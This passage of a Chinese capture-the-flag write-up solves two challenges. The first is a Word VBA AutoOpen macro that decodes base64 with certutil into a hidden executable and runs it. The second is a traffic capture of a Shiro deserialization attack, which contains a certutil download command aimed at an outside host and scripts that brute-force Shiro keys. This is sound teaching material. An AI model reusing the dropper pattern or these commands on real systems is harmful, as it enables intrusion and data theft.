QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU = VEYGvieIXwNQYBkFyYgJLRPRfUMBOcvwKNCsAFLihTKZJAAEf + RseODqsHZOcDsHSeQJsCp + vZPlUyTjdULcGVTHUmzRSXXszQRFjEUoLeWjZVFPOiGNyOFRpRJIvSjDGmk + EtChjxuOXhmrIvqKWXIxaPTAo + pheHdhgetPucMsVcfiHrhrcpKwuklhIYmvBQvkydUigvKCAfHsihqnpAmpTZhDTZR + pmyRvIoaiAdTnm + PybvPlDJqWjrprGZSOHELncQwLXqEXvfMGEBVOEaccKNdCxzkRXJDNdsM + UukH + cSdyVPVfGzkDXafOVvTFIWCFkfroRguXbaooHEMLvryMLhSqHl + CxNzoOzrcwNLxwYcHMjlpynrYs + LYYYgtKeNO + QUukdsuDLJmKubdyASnDeGkASEJCcErPLDLhGtHDhngKqmI + tmhPQej + FOwoRiFKKMMDhtxiUfJDWzaqNJrPZwASlDxnERT + qpRHjZoTBzGJBQeVBJBEvDvfxiPXTkBzbYzFCng + WKMrozPvTpOFCSNgWtqwjGpRhnutJbgPjzC + czyBdpTqXRwcJVOUWkrggOGUymhuCzDOujPPMDouEPSuUgJxYKOviAjHVP + LUAoboTgsNfGwzgqMmwAGNgNPEHQiyGMldsAGKiidxDSFGAXcwjrYrbnpzEIlOcnGHPSv + LJhyrLoIncLkdHEcvUAqOHrqWcaMMbrRwOoXsjwuIRmckImjwlqUKadNKtyoWTLMabOqb + eYGXDYAkiMnkMYrxGeLZkudKRTmVWqyiygBJrkzvMDupSVfqXYyuTLwLHOkjhvC + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog = GuQxrSYxJGddVXCHQpGAWAkiZgqPUKwPHBncITqQUblgcwlHmQqactoHwqrduW + kgsfHhlRVLtlJJqRMcOzUYrMSiEfKEemLrQjzANYdCoNIZSGRXoLHUPJDbxWaBhWjF + xdBS + tLnjIIqQbfzUXdfNouipqHjXpLG + XKfg + FWMyIMgY + CRhXDbBjmGHbyTLCeuwFsAwYKdc + zIlByGQtxrTAJVlTCjNloPoxQZyhA + xPwYBnIxnYgEBltvciefwyPdNaqcxqVUFITQXdSjFmRRnEAHVk + KuoAmNWXhbIXyUUDtQJrlEs + fNRbSvFMgVUyiPQKVtUtSCvCrotHNgIDP + znGAYdzaLHTCbsrUAAiOWfIWelxJaiawlEYPZH + AgueKiModrZKnzNcDlSlciLGxibrcCzQwfyoKRKeKsrjDfBcZejuWjlgDcWTgkzJa + MCJnXUJSpRRJmCHBNyGgL + xkFzR + DxGfjRpmNTaNGoJXjmOatrlacvaUAOIngqVHZVdHiYsqXtJVjfUeKbFDcCgeOYeJUCcb + dDrAROqgDwONUkPBEbrtUpacneyMSHVCckaqZmBk + ukSyHuWLSaVUrwVfEfCREVehGPjvISzxLOwkzbNqIAmVy + ckZbelCalPLDXKtBcWmESQNZktlvc + OGqredxqtvJndLDggszIxTZoq + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo = TXIzOYq + LyzbXnuteIvewfsTHJjlzQReyFxqXpcXpGhxmgHTXkuTdCSgxC + mjhLporjewBwRYCGtfVqGnokgrsjpeMt + MCoojZsVTSQqYyKcalviqCyoDLlFCBhKufeKnCekvEasIuvaFioqLecZdrmWUnnRrLtU + cOvZPoCKLQokEcYfJSSsIsQCvzVMGChhzDaIHjQYMYNUWiMfkOtYyWCouuOwSS + obbOsgvhpNXIcdbYdkGYIaNBBcElKifCqpgxJTckSeauwtfbPgNfLQBUR + reeSpEYsBkdNAwSDqsiDTLBBHdHuaMOZuoTHJEzyHFkIp + sPqnjMUPkXraNiYdmKDHaFHQOCaeGjVuwtTlZkwbEWSWsMqfoiCRhNjPSefNoKgCczlU + XgBQyggOVzqWSVBIMaefHTOEuQxOQwtSFrvMUrNTrUEmiUZJUAtcTscKrDnJrBZyw + oOSfGOgqlGkIAORYvObGcsjZrFGieEKfgdpWSbhHAxbUytAITWPR + QCvxYrufwAwJmOgajhdubCnaXlXrdAifKoAZVqfIMhXUSnFsJEpGx + iXJYTzXYeRAxxAdcdWEMcLSgPDiYSsfZ + BHGCUEAlNjHwSYAoKMdtxBsHfu + haZjvFCfAaX + yPeffAvpRkwnFgAvycVKfbTZwpVyPepiOGTNCcceUpvsiQCbKCeQmFYmr + wSmoLUZYFsZlCEgyqFEUQperFTvljoBPZzetdZXCawKnEaJnXzmqo + ywxosoczblRtUvLuDXsaqcuOFPontRjdwaJORUTYjIHHsPWSrBE + CMcHjPZdSArLleKhnlmUMet + cEHQlEzbinraPdDZxiXfvwhswqBcsFPVVJnCcMMMaKf + HKEqnxGiPFRjdCeRljCZffFFTKkCvRMfFgqG + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA = cPrUiVywLZUKwzBPpPGaKMdqfRcymaJgxAoGgEYriOdrgt + WeHDIoVkYMAsJRIxIXO + alecfpzZXAAjOchHsifndkresMxMRmsghnoWrIPjqkOCxIruLdRoapuzDjdMZkMaJFAIuj + BgcwqEuOjbRLfvYOkIeO + gNQUkayMQCoqhaCxkMsR + PIkxRHBZXbWiGvPkUBnCkhaGEtGOaTVcZkOejmvrTsocw + bdKCMyWHmOWcAgjlbMVbEglVvFJcGubBgwEzhrLw + nakYwagVroMrOEfsteXllfcoBvAuNAdrwdDlgazyqsgPKtEegoCIwCUjGupYfo + gyLPgEnLTxnbxyZNvFPsslE + fqbGMOBQtLlIfRylAswLJzJIwewRSFLOCJBsqNXcSjiABtKPFWgGJgnkVLQSEDniZulS + ckfognONvFXDXhZSJWVEDVbUxGUTNFmbwt + EwWonYDzDhRymjiquMYqocSEJJnZeavOftPzjZfaMZlSaPmImpvcCmzJZjsywTyHKU + BumFQkMgMUNykMNviBlfdZHOyVThmijmcNTUNaXSNHYdNzXKRqhYiKlaRzCfBlcoN + vJefuibNYpIBJouGCweDJOwOvK + kiwEfSwbhkXperQLoELoyBXdrSpxHTAXgsYTrLTUuiZPImsimfJRFNPSwgkmKnZNVrXq + rGDzbNeSOAQBdDQMhR + jGEvPHTyQBgJGqDSXfaWZVOnnAKsLSeSzLTydie + jlpDVEFMxbmONUlkfhGVHkOoOeMLXzAiLonunWnRvNQVlCIwuxiKrkHC + xeXzhlxSWXXvlttZcMXmr + BnBfMYeYWEZEQqZZgBiphAzpawtwRnSUfnIatVlrrPKgoagdMIs + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU = VBKpNPcerfjsMDbNePJypSVjCZ + YABsnhnhxXaUhoDPUSvvFRbIsOHAc + FsVvYVmrXEYYcmoAUxnlpnyCb + FBhMCgIdLoYhtHCKPaUjzTXWQrlTWFjaOvvCOrpvPMV + wYrrjLfnbUwYi + CmIiDOtlbfTzeZwoJcMPoXEambQWUqgMmWTIgJdnQazyI + YGBHxOaXgIoKdqWzNQGNHtqUEMzos + WzzRmZEXyBwTMR + oOrwvvNKQtFkUDWgRQhpLEADLhCWJvZqBTozLaRsgikdVKGHTEGzXBpY + HMoOPkeugJdMLpGdjluwNnPIJwghxQyhDoAnlaBJgjLxBMyaowUuCgCLsTuoPjRcJkk + gSTHkqRczwLplVanyWeaUyULjTzKvwEPRiOvqnhzYyCjb + BsDNqzhXCtPbEzVKpyDrbfU + emqkzLZGDkbnWPfWmoTmYGLMiZaEqwpWTekMIGY + AICsXopyxjKVOYHULreIvTjeZLWJSnHXVjXvGUXXHLubqYrPXyEhrHZsdtCGeYhs + oyVUxfArLNULzUIgjttUncrGNmKbJostRXGxgsrpsYA + gkPIowzPeMzZhIlu + yLMpvyTCnJZPDgwQBPHkXbuEMkmQiFzmxyCqwxKuVeIqBQZscaBLQRHRcOXO + lJdgGUR + gAeijdYgfomMRoOeMejpaoIYRXooMsJRSX + SAJdC + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG = KJApECBsBygCpaCPqkHESDxewQKrYbmg + kUozySeFfiJiWBdZvCFFrrdxoTSfXmBjPevyUb + OqJcLRxQpnYs + tTcokkYimbNUQxVmaFGdwTJuSZjxeiJMAFbGsSCr + jCDGmeITNx + USrSXWldjOmExiDNcxtNWUyMThsastYxrYoKTFEWOuJcvfDjgnfIcEa + jmRkplIbQIijaupiW + dPHPpts + KmMyLqjCSWrwNkvMlzkbnHsgwwqlHKsuoDdMRWhvofvhmkeBSrORbXcwXqgjIYnoYoIGIb + RSEcHbLzGYqWPqwV + hSMCKWvRKxqOlNXtxEvAkoMfYsBVBUnGfsjyGVjupZBKJg + UKykwpHdNNGkXiqaxyiBGUNAaUweTdOoBKGRmqRRIiPYTSSdiJISJkCfZAtDnbQmbxxLv + HTLdEBDxvDgWgMPvvDcMsvqvLYa + UXsYABfpUwdH + hnDgZgRNZjLm + JuXQYROQBBeUStRcoCeCphWvZNIpiJ + LApgwYbUQYSyklAgNUxVRcVucekjfKxsELGOuvnmbPlAjrKUuKspsufADOwt + TpxkVXqMUpsPDfXyHhBcXTCkqGNpjIL + izdNRwcJTeFo + vFLyllXrhmSiCmOAKRsNkTcKp + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag = NXKmCFlWcjX + TZHYOwXfxjTPvguvOFnAT + SvHaIFYrqYWuSmKFOoPXtUOnfQUrNUfyjodbbRYy + oBluSsHkDCzAto + dFiJWKhjbPrexvpfDvVJqNYxBHlMbzLjichbXJYNZBfMaBiFBHcaUKjXRLowLQmTNse + RzAiANtvbRZPXTAsgSwrtKTXDAxZvqMSiUWIDXSXTmocZPagjTaMNLa + xpkdb = dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag + + tempPath = ThisDocument.Path & "\temp1" + Set tempfile = fso.CreateTextFile(tempPath, True) + fso.GetFile(tempPath).Attributes = 2 + tempfile.WriteLine xpkdb + tempfile.Close + + batPath = ThisDocument.Path & "\temp.bat" + Set batFile = fso.CreateTextFile(batPath, True) + fso.GetFile(batPath).Attributes = 2 + batFile.WriteLine "@echo off" + batFile.WriteLine "cd /d " & ThisDocument.Path + batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe" + batFile.WriteLine "del temp" + batFile.WriteLine "temp.exe " & """" & Result & """" + batFile.WriteLine "del temp.exe" + batFile.Close + Set objExec = objShell.Exec(batPath) + Set objStdOut = objExec.StdOut + Do While Not objStdOut.AtEndOfStream + output = Trim(objStdOut.ReadLine) + Loop + output = Left(output, Len(output)) + StartTime = Timer + Do While Timer < StartTime + 1 + DoEvents + Loop + fso.DeleteFile batPath + fso.DeleteFile tempPath + + If output = "good" Then + temp = MsgBox("good!!!", , "congratulations!!!") + Exit Do + Else + temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_??????") + isContinue = MsgBox("Continue?", vbYesNo + vbQuestion, "Warning") + End If + Loop While isContinue = 6 +End Sub + + +Sub rickyrolls() + +Debug.Print "Never Gonna Give U Up~~~" + + +Debug.Print "Never Gonna Give U Up~~~" + +' <省略> + +Debug.Print "Never Gonna Give U Up~~~" + +End Sub +``` + +稍微看一下中间的 AutoOpen 即启用宏自动执行的子例程,逻辑大致如下(伪代码): + +```plain +Result: String = flag.foreach(i => i ^ 7) +xpkdb = 将许多 Base64 字符串拼接起来 +CreateTextFile('.\temp1').WriteLine(xpkdb) +certutil -decode temp1 temp|certutil -decode temp temp.exe +(temp.exe "Result").stdout == "good" +``` + +小技巧:为了得到 exe 文件,VB 代码片段保存为 .vbs 文件,注释掉无关的行,改一下路径,双击即可解释执行 + +```vb +' Sub AutoOpen() + Set fso = CreateObject("Scripting.FileSystemObject") + Set objShell = CreateObject("WScript.Shell") + + ' isContinue = 7 + ' temp = MsgBox("I?am???Vcke?!!!_I???m??Hac?er??!!???_am_Hac?er!!!_I_a?_????ok?r!!!", vbCritical, "Hacked_by_??????") + ' Do + ' inflag = InputBox("Give me your flag", "Hacked_by_??????") + ' If inflag = "" Then + ' inflag = "noflag" + ' End If + ' Result = "" + ' For i = 1 To Len(inflag) + ' res = Chr(Asc(Mid(inflag, i, 1)) Xor 7) + + ' Result = Result & res + ' Next i + + FOwoRiFKKMMDhtxiUfJDWzaqNJrPZwASlDxnERT = "TXpNek16TXpNek16TXpFaUQ3Q2pva2VyLy8waUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNU0lQc1NPaW82di8vU0lsRUpDam8rK3ovLzBpTEFFaUpSQ1F3Nkx6cy8vK0xBSWxFSkNCTWkwUWtLRWlMVkNRd2kwd2tJT2hPN1AvL1NJUEVTTVBNek16TXpNek16TXpNek16TXpNek16TXhJZyt3b3VRRUFBQURvayt2Ly8waUR4Q2pEek16TXpNek16TXpNek16TXpFaUQ3RGpvS092Ly80bEVKQ0RvUyt6Ly80dE1KQ0NKQ0VpRHhEakR6TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0Nqb1Rldi8vNHZJNkhYcC8vOUlnOFFvdzh6TXpNek16TXpNek16TVNJbE1KQWhJZyt3bzZNTDgvLzlJZzhRb3c4ek16TXpNek16TXpNek16TXhJZyt4WWlVd2tLRWlOUkNSZ1NJMU1KQ0JJaVVRa01NWkVKR0FBeDBRa0lBRVFBQURvdHdjQUFJQjhKR0FBRDVYQVNJUEVXTVBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0ZpSlRDUW9TSTFFSkdCSWpVd2tJRWlKUkNRNHhrUWtZQURIUkNRZ0FoQUFBSWxVSkN4TWlVUWtNRXlKVENSQTZGa0hBQUNBZkNSZ0FBK1Z3RWlEeEZqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFQlZWbGRCVmtpQjdQZ0JBQUJJaXdXRXFBQUFTRFBFU0ltRUpPQUJBQUNMUFpPb0FBQkZpL0JJaS9KSWkrbUQvLzhQaEFFQkFBQkloZEoxRjBTTlFn" + + ' 省略,可从上面的代码块复制 + + xpkdb = dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag + + tempPath = "D:\你的文件绝对路径\temp1" + Set tempfile = fso.CreateTextFile(tempPath, True) + fso.GetFile(tempPath).Attributes = 2 + tempfile.WriteLine xpkdb + tempfile.Close + + batPath = "D:\你的文件绝对路径\temp.bat" + Set batFile = fso.CreateTextFile(batPath, True) + fso.GetFile(batPath).Attributes = 2 + batFile.WriteLine "@echo off" + ' batFile.WriteLine "cd /d " & ThisDocument.Path + batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe" + ' batFile.WriteLine "del temp" + ' batFile.WriteLine "temp.exe " & """" & Result & """" + ' batFile.WriteLine "del temp.exe" + batFile.Close + Set objExec = objShell.Exec(batPath) +' Set objStdOut = objExec.StdOut +' Do While Not objStdOut.AtEndOfStream +' output = Trim(objStdOut.ReadLine) +' Loop +' output = Left(output, Len(output)) +' StartTime = Timer +' Do While Timer < StartTime + 1 +' DoEvents +' Loop +' fso.DeleteFile batPath +' fso.DeleteFile tempPath + +' If output = "good" Then +' temp = MsgBox("good!!!", , "congratulations!!!") +' Exit Do +' Else +' temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_??????") +' isContinue = MsgBox("Continue?", vbYesNo + vbQuestion, "Warning") +' End If +' Loop While isContinue = 6 +' End Sub +``` + +exe 文件中只有每个字符左移 6 位然后比对。逆运算: + +```python +v7 = [0] * 54 + +v7[0] = 4288; +v7[1] = 4480; +v7[2] = 5376; +v7[3] = 4352; +v7[4] = 5312; +v7[5] = 4160; +v7[6] = 7936; +v7[7] = 5184; +v7[8] = 6464; +v7[9] = 6528; +v7[10] = 5632; +v7[11] = 3456; +v7[12] = 7424; +v7[13] = 5632; +v7[14] = 6336; +v7[15] = 6528; +v7[16] = 6720; +v7[17] = 6144; +v7[18] = 6272; +v7[19] = 7488; +v7[20] = 6656; +v7[21] = 7296; +v7[22] = 7424; +v7[23] = 2432; +v7[24] = 2432; +v7[25] = 2432; +v7[26] = 5632; +v7[27] = 4416; +v7[28] = 3456; +v7[29] = 7168; +v7[30] = 6528; +v7[31] = 7488; +v7[32] = 6272; +v7[33] = 5632; +v7[34] = 3520; +v7[35] = 6208; +v7[36] = 5632; +v7[37] = 4736; +v7[38] = 6528; +v7[39] = 6400; +v7[40] = 7488; +v7[41] = 3520; +v7[42] = 5632; +v7[43] = 5184; +v7[44] = 3456; +v7[45] = 7488; +v7[46] = 7296; +v7[47] = 3200; +v7[48] = 6272; +v7[49] = 7424; +v7[50] = 2432; +v7[51] = 2432; +v7[52] = 2432; +v7[53] = 7808; + +print(bytes([(i>>6)^7 for i in v7])) +``` + +🚩 `DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}` + +# Misc - miaoro + +HTTP 流13 首部行 + +`GWHT: YCB2024 Y2VydHV0aWwgLXVybGNhY2hlIC1mICJodHRwOi8vMTkyLjE2OC4xLjM6ODAxL3NlY3JldC50eHQi` + +Base64得 + +`certutil -urlcache -f "http://192.168.1.3:801/secret.txt"` + +响应Base64得(GBK) + +```plain +**** 联机 **** + 0000 ... + c8d8 + 0000 30 30 30 30 30 30 30 30 33 36 30 66 30 30 30 30 00000000360f0000 + 0010 30 30 36 36 30 30 31 30 30 30 31 30 30 30 30 30 0066001000100000 + 0020 30 30 30 30 36 30 35 30 62 34 30 35 30 30 38 30 00006050b4050080 + 0030 33 30 35 34 31 34 30 30 31 30 30 30 37 30 39 39 3054140010007099 + +<省略> + + c8a0 30 30 39 30 30 30 30 30 35 64 31 38 30 30 30 30 009000005d180000 + c8b0 33 36 65 61 64 37 39 63 61 33 66 66 38 35 36 65 36ead79ca3ff856e + c8c0 65 62 38 61 30 30 33 36 30 30 39 30 30 30 34 31 eb8a003600900041 + c8d0 34 30 33 30 62 34 30 35 4030b405 +CertUtil: -URLCache 命令成功完成。 + +``` + +明显 504B0304,提取: + +```python +with open('secret.txt', 'r', encoding='gbk') as f: + with open('out.zip', 'wb') as o: + o.write(bytes.fromhex(''.join([l.strip()[-16:][::-1].replace(' ', '') for l in f.readlines()[3:-1][::-1]]))) +``` + +HTTP 流10 首部行Base64 + +`echo Th15_11111111s_pP@sssssw000rd!!!>pass.txt` + +解压得 flag2.jpg + +修改宽度为 1404 + +![](../../wp/yangcheng-2024/fix_2.jpg) + +第二部分 flag 是猫猫字母 `EBOFDELQDIAA}`,现在就剩 Cookie 还没看了 + +HTTP 流4 响应数据中随便选一行 + +```python +To show some taglibs, here are the roles you have and don't have. Log out and log back in under different user accounts to see different roles. +``` + +搜索可知是Shiro Quickstart + +那么 `Set-Cookie: nekoMiao=nikoMiao;` 就是 `rememberMe=deleteMe` 了 + +Shiro 加密算法(伪代码): + +```python +key = b64decode(key) +iv = randbytes(16) +mode = CBC +c = b64encode(iv + AESencrypt(m, key, iv, mode)) +``` + +流4是在用 shiro key 字典爆破,找正确的 key 是哪个,`Cookie: nekoMiao=` 对应的是加密后的序列化数据。想也知道第一个试的是 `kPH+bIxk5D2deZiIxcaaaA==`,解密一下果然是。流4爆破好几次结果都是 deleteMe,最后一次不是 deleteMe 了,说明这次用的是正确的 key。 + +![](../../wp/yangcheng-2024/shiro-test.png) + +所以我们也去 GitHub 找个 shiro key 字典,看哪个 key 能解密最后一次的 Cookie: + +```python +import base64 +import Crypto.Cipher.AES + +def decrypt(key, data): + iv = base64.b64decode(data)[:16] + cipher = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv=iv) + return cipher.decrypt(base64.b64decode(data)[16:]) + +with open('shiro_key.txt', 'r') as f: + keys = f.read().splitlines() + +data = 'VFbujnrWI5MPfk+L/n8az7jafllg/ctgP+HfJfz5jH5hFD/VOQNUuFbAjo4smrvoaXHxZBpZME/gaxAovyZjf+yZ6nxMynXoK75+vO4biu5YYG+2RTFwNPW57UiK4l0XGyaCklQBYqPu0KSo3Hz9/jf0CrSpwh1SDhs5B3MFsHkLcZq29z/jApyxzhkWssKL' + +for key in keys: + try: + if b'org.apache.shiro.subject.SimplePrincipalCollection' in decrypt(base64.b64decode(key), data): + print(key) + except: + pass +``` + +找到 key 是 `MTIzNDU2Nzg5MGFiY2RlZg==` + +流6是在试链子,看哪个 EXP 能跑通,使得反序列化后执行首部行 `GWHT: YCB2024` 后面的 Base64 命令。流6的最后一次尝试不是 deleteMe 了,于是之后都用最后这个 Cookie 了。解密它: + +```python +import base64 +import Crypto.Cipher.AES + +def decrypt(key, data): + iv = base64.b64decode(data)[:16] + cipher = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv=iv) + return cipher.decrypt(base64.b64decode(data)[16:]) + +key = b'MTIzNDU2Nzg5MGFiY2RlZg==' + +data = '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